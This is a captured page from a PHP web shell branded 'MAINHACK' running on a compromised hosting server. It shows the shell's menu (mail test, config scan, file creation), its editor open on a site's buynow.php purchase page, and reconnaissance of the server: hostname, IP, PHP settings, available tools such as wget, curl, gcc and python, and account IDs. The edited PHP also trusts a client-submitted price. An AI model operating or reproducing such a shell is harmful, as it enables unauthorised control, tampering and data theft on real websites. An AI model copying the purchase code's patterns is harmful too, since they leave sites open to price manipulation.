[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: buynow.php
<?php include("header.php");$pid=base64_decode($_REQUEST['pid']); if(!isset($_SESSION['login_id']) && empty($_SESSION['login_id'])) { header('location:index.php'); } ?> <!-- // Header include --> <?php $count=1; $sr='package'; $stmt =$show->readwithdata($sr,'package_id',$pid); $num = $stmt->rowCount(); if($num>0){ $count=1; while ($row = $stmt->fetch(PDO::FETCH_ASSOC)){ extract($row); $id=$row['id']; $no_of_exam=$row['no_of_exam']; $days=$row['days']; $package_name=$row['package_name']; $specification=$row['specification']; $img=$row['img']; $price=$row['price']; } }?> <div class=" packageshow" style=""> <div class="home-title" style=""> <h2>Buy <span style=""> Package </span></h2> </div> <div class="container"> <div class=" packageshow-bg"> <form method="post"> <span class="buy-pack-form"> <label>Package Name</label> <input type="text" name="package_name" value="<?=$package_name?>" readonly> </span> <span class="buy-pack-form"> <label>Package Price</label> <input type="text" name="amount" value="<?=$price?>" readonly> </span> <span class="buy-pack-form"> <label>Package Validity(days)</label> <input type="text" name="days" value="<?=$days?>" readonly> </span> <span class="buy-pack-form"> <input type="hidden" name="name" value="<?=$_SESSION['login_user']?>"> <input type="hidden" name="user_id" value="<?=$_SESSION['login_id']?>"> <input type="hidden" name="phone" value="<?=$_SESSION['phonr']?>"> <input type="hidden" name="email" value="<?=$_SESSION['username']?>"> <input type="submit" name="sub" value="Buy Now"> </span> </form> <?php if(isset($_POST['sub'])){ $expiry=date('Y-m-d',strtotime('+30 days')); $uid=$show->getid('ids','ORD'); $data=array( 'user_id'=>$_SESSION['login_id'], 'name'=>$_SESSION['login_user'], 'phone'=>$_SESSION['phonr'], 'email'=>$_SESSION['username'], 'package_id'=>$pid, 'date'=>date('Y-m-d'), 'expiry'=>$expiry, 'amount'=>$_POST['amount'], 'pay_status'=>'PENDING', 'status'=>'ACTIVE', 'order_id' => $uid, ); $r1=$show->insert('user_package',$data); if($r1){ $s1="update user set package_bought='YES' where user_id='".$_SESSION['login_id']."'"; $s11=$con->prepare($s1); $s11->execute(); $_SESSION['package_status']='YES'; echo '<script> setTimeout(function() { swal({ title: "Thank You!", text: "You are been redirected to payment page", type: "success" }, function() { window.location = "index.php"; }); }, 1000); </script>'; } } ?> </div> </div> </div> <!-- Footer include --> <?php include("footer.php"); ?> <!-- // Footer include -->
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 677.97 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: 1619